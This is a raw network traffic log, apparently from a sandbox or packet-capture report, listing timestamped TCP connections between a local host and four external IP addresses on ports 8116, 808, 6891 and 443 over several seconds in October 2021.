Oct 28, 2021 04:58:56.916843891 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:56.917068005 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:56.917151928 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:56.917732000 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:56.921480894 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:56.921608925 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:56.969249010 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:56.969322920 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:56.970021009 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:57.059936047 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:57.059957981 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:57.060174942 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:57.060220003 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:57.062870026 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:57.140654087 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:57.140657902 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:57.140955925 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:57.149467945 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:57.177939892 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:57.198038101 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:57.224122047 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:57.266294003 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:57.266326904 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:57.266433954 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:57.267039061 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:57.267047882 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:57.346688032 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:57.346811056 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:57.347347975 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:57.513812065 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:57.513869047 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:57.513958931 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:57.514360905 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:57.517157078 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:57.517266989 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:57.683728933 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:57.683792114 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:57.755269051 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:57.755377054 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:57.756139994 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:57.756153107 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:57.759622097 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:57.759635925 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:57.759751081 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:57.759764910 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:58.062884092 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:58.062908888 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:58.062999964 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:58.066667080 CEST	49870	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:58.179266930 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.231493950 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.232958078 CEST	6891	49870	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:58.233166933 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.233961105 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.285748005 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.285918951 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.285996914 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.286557913 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.290503979 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.290651083 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.342473984 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.342505932 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.449903965 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:58.449980974 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:58.450002909 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:58.450041056 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:58.458059072 CEST	49871	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:58.458115101 CEST	443	49871	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:58.525985003 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.526015043 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.526124954 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.528446913 CEST	49872	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:58.580348969 CEST	8116	49872	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:58.588964939 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:58.648210049 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:58.648267984 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:58.649560928 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:58.650141001 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:58.650165081 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:58.750519991 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:58.753950119 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:58.754674911 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:58.915406942 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:58.915533066 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:58.915613890 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:58.916203022 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:58.936469078 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:58.936707020 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:59.077320099 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.097353935 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.097383976 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.097400904 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.097417116 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.141742945 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:59.142831087 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:59.143604040 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:59.143630981 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:59.147094011 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:59.147159100 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:59.147347927 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:59.147416115 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:59.477565050 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.477605104 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.477761030 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:59.483310938 CEST	49873	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:59.601475954 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:59.644056082 CEST	808	49873	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:59.767798901 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:59.769809961 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:59.770509958 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:59.844368935 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:59.844463110 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:59.844501972 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:59.844542027 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:59.847764969 CEST	49874	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:59.847825050 CEST	443	49874	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:59.936628103 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:59.936784029 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:59.936870098 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:59.937186956 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:59.939826965 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:59.939924002 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:59.959445000 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.106189966 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:00.106215000 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:00.117305994 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.117412090 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.117927074 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.275923967 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.276016951 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.276108027 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.276781082 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.279753923 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.279841900 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.434906006 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.437890053 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.437930107 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.437948942 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.437975883 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.502608061 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:00.502665043 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:00.502711058 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:00.502747059 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:00.507967949 CEST	49880	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:00.622596979 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.673966885 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:00.674112082 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.674273014 CEST	6891	49880	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:00.675199986 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.726111889 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:00.726530075 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:00.726627111 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.727139950 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.730576992 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.730710030 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.781554937 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:00.782164097 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:00.816468000 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.816519022 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:00.816591024 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.816643000 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.821722031 CEST	49881	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:00.944375038 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:00.953258991 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:00.953279018 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:00.953386068 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.953425884 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.964040041 CEST	49882	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:00.979717970 CEST	808	49881	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:01.014859915 CEST	8116	49882	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:01.092411041 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:01.092485905 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:01.092616081 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:01.093324900 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:01.093357086 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:01.111291885 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.111498117 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.112710953 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.279644966 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.279670000 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.279875040 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.280386925 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.284480095 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.284625053 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.450879097 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.450885057 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.450889111 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.614933014 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:01.615287066 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:01.616427898 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:01.616436958 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:01.626171112 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:01.626187086 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:01.626583099 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:01.626595020 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:01.831666946 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.831688881 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:01.833087921 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.839162111 CEST	49883	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:01.962728024 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.005547047 CEST	6891	49883	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:02.014678001 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.014858961 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.015438080 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.067209959 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.067586899 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.067675114 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.068136930 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.070813894 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.070920944 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.122613907 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.122875929 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.294804096 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.294835091 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.294990063 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.301418066 CEST	49885	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:02.333415031 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.333523035 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.333528042 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.333600044 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.339174032 CEST	49884	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.339222908 CEST	443	49884	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.353492975 CEST	8116	49885	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:02.413746119 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.413805008 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.413921118 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.414432049 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.414453983 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.507375956 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:02.668786049 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:02.668925047 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:02.669718981 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:02.831442118 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:02.831599951 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:02.831700087 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:02.832652092 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:02.837918043 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:02.838030100 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:02.903181076 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.903286934 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.904031992 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.904042959 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.911362886 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.911377907 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.911504030 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:02.911514044 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:02.992917061 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:02.998331070 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:02.998348951 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:03.375163078 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:03.375207901 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:03.375241995 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:03.375277996 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:03.381278992 CEST	49887	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:03.500627995 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:03.541708946 CEST	808	49887	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:03.596672058 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:03.596754074 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:03.596863985 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:03.600677013 CEST	49886	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:03.600709915 CEST	443	49886	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:03.666023970 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:03.666117907 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:03.667962074 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:03.772699118 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:03.833129883 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:03.833259106 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:03.833348989 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:03.834145069 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:03.836958885 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:03.837117910 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:03.932080030 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:03.932187080 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:03.932699919 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:04.002201080 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:04.002223015 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:04.002230883 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:04.091975927 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.092006922 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.092116117 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:04.092696905 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:04.098227978 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:04.098424911 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:04.251969099 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.257441998 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.257468939 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.257515907 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.257531881 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.385963917 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:04.385988951 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:04.386122942 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:04.388022900 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:04.393100977 CEST	49888	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:04.514580011 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.558470964 CEST	6891	49888	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:04.567825079 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.568032980 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.568792105 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.621736050 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.621990919 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.622361898 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.622850895 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.626332998 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.626432896 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.648185968 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.648238897 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.648448944 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:04.651402950 CEST	49889	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:04.679213047 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.679651022 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.680327892 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.771919966 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:04.810995102 CEST	808	49889	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:04.871057034 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.871099949 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.871211052 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.878485918 CEST	49890	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:04.931636095 CEST	8116	49890	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:04.938488007 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:04.938605070 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:04.939258099 CEST	49891	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:04.992503881 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:04.992547989 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:04.992695093 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:04.993865967 CEST	49892	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:04.993908882 CEST	443	49892	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:05.105700970 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:05.105767012 CEST	6891	49891	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:05.105871916 CEST	49891	6891	192.168.2.6	45.77.0.96
